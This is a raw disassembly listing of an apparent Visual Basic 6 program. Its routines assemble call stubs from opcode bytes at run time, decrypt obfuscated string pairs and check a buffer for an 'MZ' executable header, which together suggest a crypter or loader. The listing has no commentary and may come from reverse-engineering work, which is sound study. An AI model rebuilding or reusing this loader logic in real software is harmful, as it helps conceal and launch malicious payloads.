		push	esi
		push	dword ptr [edi]
		push	1
		call	__vbaUbound
		add	eax, 1
		jo	loc_40937F
		push	eax
		push	1
		push	3
		push	offset dword_410014
		push	4
		push	ebx
		call	__vbaRedim
		add	esp, 1Ch
		push	dword_410014
		push	1
		pop	ebx
		push	ebx
		call	__vbaUbound
		mov	ecx, eax
		call	__vbaI2I4
		mov	[ebp+var_9C], eax
		mov	[ebp+var_20], ebx


loc_408FEE:				; CODE XREF: sub_408E65+1DDj
		mov	ax, word ptr [ebp+var_9C]
		cmp	word ptr [ebp+var_20], ax
		jg	loc_409228
		mov	ax, word ptr [ebp+var_20]
		sub	ax, 1
		jo	loc_40937F
		movsx	eax, ax
		push	eax
		push	dword ptr [edi]
		call	__vbaDerefAry1
		push	eax
		call	__vbaI4ErrVar
		mov	ebx, eax
		movsx	eax, word ptr [ebp+var_20]
		push	eax
		push	dword_410014
		call	__vbaDerefAry1
		mov	[eax], ebx
		push	1
		pop	eax
		add	ax, word ptr [ebp+var_20]
		jo	loc_40937F
		mov	[ebp+var_20], eax
		jmp	short loc_408FEE
; ---------------------------------------------------------------------------


loc_409044:				; CODE XREF: sub_408E65+ACj
		push	esi
		call	__vbaOnError
		push	esi
		push	dword ptr [edi]
		push	1
		call	__vbaUbound
		push	eax
		push	1
		push	0Bh
		lea	eax, [ebp+var_34]
		push	eax
		push	2
		push	ebx
		call	__vbaRedim
		add	esp, 1Ch
		push	dword ptr [edi]
		push	1
		call	__vbaUbound
		mov	ecx, eax
		call	__vbaI2I4
		mov	[ebp+var_94], eax
		push	dword ptr [edi]
		push	1
		call	__vbaLbound
		mov	ecx, eax
		call	__vbaI2I4
		mov	[ebp+var_20], eax


loc_409091:				; CODE XREF: sub_408E65+3BEj
		cmp	ax, word ptr [ebp+var_94]
		jg	loc_408F1A
		movsx	eax, ax
		mov	[ebp+var_B4], eax
		push	eax
		push	[ebp+var_34]
		call	__vbaDerefAry1
		mov	[eax], si
		push	dword ptr [edi]
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryLock
		push	[ebp+var_B4]
		push	[ebp+var_38]
		call	__vbaDerefAry1
		push	eax
		call	rtcVarType
		mov	[ebp+var_88], eax
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryUnlock
		cmp	[ebp+var_88], 8
		jnz	loc_409213
		push	esi
		push	[ebp+var_B4]
		push	1
		push	offset dword_401B94
		lea	eax, [ebp+var_30]
		push	eax
		push	4
		push	esi
		call	__vbaRedimPreserve
		add	esp, 1Ch
		push	dword ptr [edi]
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryLock
		push	esi
		push	ebx
		push	[ebp+var_B4]
		push	[ebp+var_38]
		call	__vbaDerefAry1
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	rtcStrConvVar2
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryUnlock
		push	esi
		lea	eax, [ebp+var_60]
		push	eax
		call	rtcVarBstrFromAnsi
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_70]
		push	eax
		call	__vbaVarCat
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		call	__vbaVar2Vec
		lea	eax, [ebp+var_74]
		push	eax
		push	[ebp+var_B4]
		push	[ebp+var_30]
		call	__vbaDerefAry1
		push	eax
		call	__vbaAryMove
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		push	3
		call	__vbaFreeVarList
		add	esp, 10h
		push	[ebp+var_30]
		lea	eax, [ebp+var_3C]
		push	eax
		call	__vbaAryLock
		push	[ebp+var_B4]
		push	[ebp+var_3C]
		call	__vbaDerefAry1
		push	dword ptr [eax]
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryLock
		push	esi
		push	[ebp+var_38]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	ebx, eax
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryUnlock
		lea	eax, [ebp+var_3C]
		push	eax
		call	__vbaAryUnlock
		mov	[ebp+var_7C], ebx
		mov	[ebp+var_84], 3
		lea	ebx, [ebp+var_84]
		push	[ebp+var_B4]
		push	dword ptr [edi]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		movsx	eax, word ptr [ebp+var_20]
		push	eax
		push	[ebp+var_34]
		call	__vbaDerefAry1
		or	word ptr [eax],	0FFFFh
		mov	ebx, 80h


loc_409213:				; CODE XREF: sub_408E65+283j
		push	1
		pop	eax
		add	ax, word ptr [ebp+var_20]
		jo	loc_40937F
		mov	[ebp+var_20], eax
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_409228:				; CODE XREF: sub_408E65+194j
		call	sub_409384
		push	esi
		push	esi
		push	esi
		push	esi
		push	eax
		call	sub_401C88
		mov	ebx, eax
		call	__vbaSetSystemError
		mov	[ebp+var_24], ebx
		cmp	word ptr [ebp+var_1C], si
		jnz	loc_409306
		push	dword ptr [edi]
		push	1
		call	__vbaUbound
		mov	ecx, eax
		call	__vbaI2I4
		mov	[ebp+var_A4], eax
		push	dword ptr [edi]
		push	1
		call	__vbaLbound
		mov	ecx, eax
		call	__vbaI2I4


loc_409271:				; CODE XREF: sub_408E65+49Cj
		mov	[ebp+var_20], eax
		cmp	ax, word ptr [ebp+var_A4]
		jg	loc_409306
		movsx	ebx, ax
		push	ebx
		push	[ebp+var_34]
		call	__vbaDerefAry1
		cmp	[eax], si
		jz	short loc_4092F8
		push	[ebp+var_30]
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryLock
		push	ebx
		push	[ebp+var_38]
		call	__vbaDerefAry1
		mov	[ebp+var_7C], eax
		mov	[ebp+var_84], 6011h
		push	esi
		push	40h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	rtcStrConvVar2
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryUnlock
		lea	edx, [ebp+var_50]
		push	ebx
		push	dword ptr [edi]
		mov	[ebp+var_B8], edx
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	eax, [ebp+var_B8]
		mov	edx, eax
		call	__vbaVarMove
		lea	ecx, [ebp+var_50]
		call	__vbaFreeVar


loc_4092F8:				; CODE XREF: sub_408E65+42Bj
		push	1
		pop	eax
		add	ax, word ptr [ebp+var_20]
		jo	short loc_40937F
		jmp	loc_409271
; ---------------------------------------------------------------------------


loc_409306:				; CODE XREF: sub_408E65+EDj
					; sub_408E65+13Cj ...
		push	offset loc_40936B
		jmp	short loc_409349
; ---------------------------------------------------------------------------


loc_40930D:				; DATA XREF: .text:004011BCo
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryUnlock
		lea	eax, [ebp+var_3C]
		push	eax
		call	__vbaAryUnlock
		lea	ecx, [ebp+var_40]
		call	__vbaFreeStr
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		push	3
		call	__vbaFreeVarList
		add	esp, 10h
		lea	eax, [ebp+var_74]
		push	eax
		push	0
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_409349:				; CODE XREF: sub_408E65+4A6j
					; DATA XREF: .text:004011B8o
		lea	ecx, [ebp+var_2C]
		call	__vbaFreeStr
		lea	eax, [ebp+var_30]
		push	eax
		push	offset dword_401B94
		call	__vbaAryDestruct
		lea	eax, [ebp+var_34]
		push	eax
		push	0
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40936B:				; DATA XREF: sub_408E65:loc_409306o
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_18]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40937F:				; CODE XREF: sub_408E65+14Fj
					; sub_408E65+1A2j ...
		call	__vbaErrorOverflow
sub_408E65	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409384	proc near		; CODE XREF: sub_408E65:loc_409228p

var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], esp
		mov	[ebp+var_4], offset dword_4011C0
		lea	eax, [ebp+var_1C]
		xor	ebx, ebx
		push	eax
		push	180h
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], bl
		mov	[ebp+var_30], ebx
		call	__vbaFixstrConstruct
		push	ebx
		push	dword_410014
		push	1
		pop	esi
		push	esi
		call	__vbaUbound
		imul	eax, 6
		jo	loc_4095E7
		add	eax, 32h
		jo	loc_4095E7
		push	eax
		push	esi
		push	11h
		push	offset dword_410018
		push	esi
		push	80h
		call	__vbaRedim
		add	esp, 1Ch
		push	dword_410018
		lea	eax, [ebp+var_24]
		push	eax
		call	__vbaAryLock
		push	ebx
		push	[ebp+var_24]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	edi, eax
		lea	eax, [ebp+var_24]
		push	eax
		call	__vbaAryUnlock
		lea	eax, [ebp+var_30]
		push	eax
		mov	[ebp+var_30], edi
		call	sub_4097AB
		push	dword_410018
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	__vbaAryLock
		push	ebx
		push	[ebp+var_24]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	edi, eax
		lea	eax, [ebp+var_24]
		push	eax
		call	__vbaAryUnlock
		mov	eax, [ebp+var_18]
		sub	eax, edi
		jo	loc_4095E7
		mov	dword_410010, eax
		sub	eax, esi
		jo	loc_4095E7
		mov	[ebp+var_38], eax
		xor	edi, edi


loc_40947C:				; CODE XREF: sub_409384+123j
		cmp	edi, [ebp+var_38]
		jg	short loc_4094A9
		mov	cx, 0CCh
		call	__vbaUI1I2
		push	edi
		push	dword_410018
		mov	bl, al
		call	__vbaDerefAry1
		mov	[eax], bl
		push	1
		pop	eax
		add	eax, edi
		jo	loc_4095E7
		mov	edi, eax
		jmp	short loc_40947C
; ---------------------------------------------------------------------------


loc_4094A9:				; CODE XREF: sub_409384+FBj
		mov	cx, 58h
		call	__vbaUI1I2
		mov	[ebp+var_28], al
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40977B
		push	59h
		pop	ebx
		mov	cx, bx
		call	__vbaUI1I2
		mov	[ebp+var_28], al
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40977B
		mov	cx, bx
		call	__vbaUI1I2
		mov	[ebp+var_28], al
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40977B
		mov	cx, bx
		call	__vbaUI1I2
		mov	[ebp+var_28], al
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40977B
		mov	cx, bx
		call	__vbaUI1I2
		mov	[ebp+var_28], al
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40977B
		mov	cx, 50h
		call	__vbaUI1I2
		mov	[ebp+var_28], al
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40977B
		push	dword_410014
		mov	edi, esi
		push	esi
		or	ebx, 0FFFFFFFFh
		call	__vbaUbound


loc_409537:				; CODE XREF: sub_409384+1FBj
		mov	esi, eax
		cmp	esi, edi
		jl	short loc_409581
		mov	cx, 68h
		call	__vbaUI1I2
		mov	[ebp+var_28], al
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40977B
		push	dword_410014
		lea	eax, [ebp+var_24]
		push	eax
		call	__vbaAryLock
		push	esi
		push	[ebp+var_24]
		call	__vbaDerefAry1
		push	eax
		call	sub_4096BA
		lea	eax, [ebp+var_24]
		push	eax
		call	__vbaAryUnlock
		mov	eax, ebx
		add	eax, esi
		jo	short loc_4095E7
		jmp	short loc_409537
; ---------------------------------------------------------------------------


loc_409581:				; CODE XREF: sub_409384+1B7j
		push	offset dword_41001C
		call	sub_4095EC
		mov	cx, 0C3h
		call	__vbaUI1I2
		mov	[ebp+var_28], al
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40977B
		mov	cx, 0CCh
		call	__vbaUI1I2
		mov	[ebp+var_28], al
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40977B
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		push	offset loc_4095D5
		jmp	short loc_4095CC
; ---------------------------------------------------------------------------


loc_4095C2:				; DATA XREF: .text:004011CCo
		lea	eax, [ebp+var_24]
		push	eax
		call	__vbaAryUnlock
		retn
; ---------------------------------------------------------------------------


loc_4095CC:				; CODE XREF: sub_409384+23Cj
					; DATA XREF: .text:004011C8o
		lea	ecx, [ebp+var_1C]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_4095D5:				; DATA XREF: sub_409384+237o
		mov	ecx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4095E7:				; CODE XREF: sub_409384+54j
					; sub_409384+5Dj ...
		call	__vbaErrorOverflow
sub_409384	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095EC	proc near		; CODE XREF: sub_409384+202p

var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], esp
		mov	[ebp+var_4], offset dword_4011D0
		xor	eax, eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_1C], al
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	180h
		call	__vbaFixstrConstruct
		mov	cx, 0E8h
		call	__vbaUI1I2
		mov	[ebp+var_1C], al
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_40977B
		push	dword_410018
		lea	eax, [ebp+var_18]
		push	eax
		call	__vbaAryLock
		push	dword_410010
		push	[ebp+var_18]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	__vbaAryUnlock
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		sub	eax, esi
		jo	short loc_4096B5
		sub	eax, 4
		jo	short loc_4096B5
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4096BA
		push	offset loc_4096A4
		jmp	short loc_40969B
; ---------------------------------------------------------------------------


loc_409691:				; DATA XREF: .text:004011DCo
		lea	eax, [ebp+var_18]
		push	eax
		call	__vbaAryUnlock
		retn
; ---------------------------------------------------------------------------


loc_40969B:				; CODE XREF: sub_4095EC+A3j
					; DATA XREF: .text:004011D8o
		lea	ecx, [ebp+var_14]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_4096A4:				; DATA XREF: sub_4095EC+9Eo
		mov	ecx, [ebp+var_10]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4096B5:				; CODE XREF: sub_4095EC+8Bj
					; sub_4095EC+90j
		call	__vbaErrorOverflow
sub_4095EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096BA	proc near		; CODE XREF: sub_409384+1E7p
					; sub_4095EC+99p

var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], esp
		mov	[ebp+var_4], offset dword_4011E0
		push	11h
		push	offset dword_401D10
		lea	eax, [ebp+var_28]
		xor	edi, edi
		push	eax
		mov	[ebp+var_38], edi
		call	__vbaAryConstruct2
		lea	eax, [ebp+var_34]
		push	eax
		push	180h
		call	__vbaFixstrConstruct
		push	4
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	sub_401BEC
		call	__vbaSetSystemError
		push	1
		pop	ebx


loc_40971A:				; CODE XREF: sub_4096BA+8Aj
		push	3
		pop	eax
		cmp	di, ax
		jg	short loc_409746
		movsx	esi, di
		cmp	esi, 4
		jb	short loc_40972F
		call	__vbaGenerateBoundsError


loc_40972F:				; CODE XREF: sub_4096BA+6Ej
		mov	eax, [ebp+var_1C]
		add	eax, esi
		push	eax
		call	sub_40977B
		mov	ax, bx
		add	ax, di
		jo	short loc_409776
		mov	edi, eax
		jmp	short loc_40971A
; ---------------------------------------------------------------------------


loc_409746:				; CODE XREF: sub_4096BA+66j
		push	offset loc_409765


loc_40974B:				; DATA XREF: .text:004011E8o
		lea	eax, [ebp+var_28]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_38]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	ecx, [ebp+var_34]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_409765:				; DATA XREF: sub_4096BA:loc_409746o
		mov	ecx, [ebp+var_10]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_409776:				; CODE XREF: sub_4096BA+86j
		call	__vbaErrorOverflow
sub_4096BA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40977B	proc near		; CODE XREF: sub_409384+135p
					; sub_409384+14Cp ...

arg_0		= dword	ptr  4

		push	dword_410010
		push	dword_410018
		call	__vbaDerefAry1
		mov	ecx, [esp+arg_0]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, dword_410010
		add	eax, 1
		jo	short loc_4097A6
		mov	dword_410010, eax
		retn	4
; ---------------------------------------------------------------------------


loc_4097A6:				; CODE XREF: sub_40977B+21j
		call	__vbaErrorOverflow
sub_40977B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4097AB	proc near		; CODE XREF: sub_409384+AAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax]
		push	10h
		mov	eax, esi
		sub	eax, 1
		jo	short loc_4097ED
		cdq
		pop	ecx
		idiv	ecx
		push	0Fh
		pop	ecx
		mov	eax, esi
		push	10h
		sub	ecx, edx
		jo	short loc_4097ED
		add	ecx, esi
		jo	short loc_4097ED
		sub	eax, 1
		jo	short loc_4097ED
		cdq
		pop	esi
		idiv	esi
		push	0Fh
		pop	eax
		pop	esi
		sub	eax, edx
		jo	short loc_4097ED
		test	eax, eax
		jnz	short loc_4097E8
		add	ecx, 10h
		jo	short loc_4097ED


loc_4097E8:				; CODE XREF: sub_4097AB+36j
		mov	eax, ecx
		retn	4
; ---------------------------------------------------------------------------


loc_4097ED:				; CODE XREF: sub_4097AB+Ej
					; sub_4097AB+1Dj ...
		call	__vbaErrorOverflow
sub_4097AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097F2	proc near		; CODE XREF: sub_4097F2+2EB6p

var_40C		= dword	ptr -40Ch
var_404		= byte ptr -404h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3C8		= dword	ptr -3C8h
var_3C0		= dword	ptr -3C0h
var_3B8		= dword	ptr -3B8h
var_3B0		= dword	ptr -3B0h
var_3A8		= dword	ptr -3A8h
var_3A0		= dword	ptr -3A0h
var_398		= dword	ptr -398h
var_390		= dword	ptr -390h
var_388		= dword	ptr -388h
var_380		= dword	ptr -380h
var_378		= dword	ptr -378h
var_370		= dword	ptr -370h
var_368		= dword	ptr -368h
var_360		= dword	ptr -360h
var_358		= dword	ptr -358h
var_350		= dword	ptr -350h
var_348		= dword	ptr -348h
var_340		= dword	ptr -340h
var_338		= dword	ptr -338h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= byte ptr -2F4h
var_2E0		= dword	ptr -2E0h
var_2DC		= byte ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2C4		= byte ptr -2C4h
var_2C0		= byte ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B4		= dword	ptr -2B4h
var_288		= dword	ptr -288h
var_284		= word ptr -284h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_1C4		= dword	ptr -1C4h
var_1B8		= dword	ptr -1B8h
var_19C		= dword	ptr -19Ch
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18A		= word ptr -18Ah
var_168		= dword	ptr -168h
var_15C		= byte ptr -15Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_AC		= byte ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_A0		= byte ptr -0A0h
var_9C		= byte ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= word ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_68		= byte ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 490h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], esp
		mov	[ebp+var_4], offset dword_4011F0
		xor	eax, eax
		push	10h
		lea	edi, [ebp+var_44]
		stosd
		stosd
		stosd
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_84]
		rep stosd
		push	3Eh
		lea	edi, [ebp+var_90]
		stosd
		stosd
		stosd
		pop	ecx
		xor	eax, eax
		push	33h
		mov	edx, [ebp+arg_0]
		xor	esi, esi
		lea	edi, [ebp+var_190]
		rep stosd
		pop	ecx
		push	11h
		lea	edi, [ebp+var_268]
		rep stosd
		pop	ecx
		lea	edi, [ebp+var_2B4]
		rep stosd
		lea	edi, [ebp+var_2C4]
		stosd
		stosd
		stosd
		stosd
		push	0Ch
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_2F4]
		rep stosd
		push	0Ah
		pop	ecx
		lea	edi, [ebp+var_404]
		rep stosd
		lea	ecx, [ebp+var_194]
		mov	[ebp+var_14], esi
		mov	[ebp+var_94], esi
		mov	[ebp+var_98], esi
		mov	[ebp+var_194], esi
		mov	[ebp+var_19C], esi
		mov	[ebp+var_26C], esi
		mov	[ebp+var_270], esi
		mov	[ebp+var_2F8], esi
		mov	[ebp+var_2FC], esi
		mov	[ebp+var_300], esi
		mov	[ebp+var_304], esi
		mov	[ebp+var_308], esi
		mov	[ebp+var_30C], esi
		mov	[ebp+var_310], esi
		mov	[ebp+var_314], esi
		mov	[ebp+var_318], esi
		mov	[ebp+var_328], esi
		mov	[ebp+var_32C], esi
		mov	[ebp+var_330], esi
		mov	[ebp+var_340], esi
		mov	[ebp+var_350], esi
		mov	[ebp+var_360], esi
		mov	[ebp+var_370], esi
		mov	[ebp+var_380], esi
		mov	[ebp+var_390], esi
		mov	[ebp+var_3A0], esi
		mov	[ebp+var_3B0], esi
		mov	[ebp+var_3C0], esi
		mov	[ebp+var_3D0], esi
		mov	[ebp+var_3D4], esi
		call	__vbaStrCopy
		push	11h
		push	offset dword_402AF0
		lea	eax, [ebp+var_34]
		push	eax
		call	__vbaAryConstruct2
		lea	eax, [ebp+var_198]
		push	eax
		push	100h
		call	__vbaFixstrConstruct
		mov	edx, offset a66udgwbrev3g ; "66UDGwBReV3g"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset a748b0240d409c7 ; "748B0240D409C77A9163A0C2"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset a78s1676sg6x9w5 ; "78s1676SG6X9W5d"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset a236e6492a77bf3 ; "236E6492A77BF3EE435FA36725"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	2
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		lea	eax, [ebp+var_84]
		push	eax
		call	VarPtr
		push	3
		pop	edi
		push	esi
		push	[ebp+var_32C]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], edi
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryLock
		push	esi
		push	[ebp+var_2F8]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryUnlock
		mov	eax, [ebp+var_3D4]
		push	1
		push	[ebp+var_32C]
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], edi
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	2
		pop	eax
		push	eax
		push	[ebp+var_32C]
		mov	[ebp+var_358], 40h
		mov	[ebp+var_360], eax
		lea	ebx, [ebp+var_360]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	word ptr [ebp+var_84], 5A4Dh
		jnz	loc_40A175
		mov	edx, offset aBbww6zclp9	; "bbwW6ZcLp9"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset aCda5d517da6a1c ; "CDA5D517DA6A1C8F11B46F05"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset aOqnguece747 ; "oQNGueCE747"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset a784e3efc38428b ; "784E3EFC38428B9F22E7301E7B"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
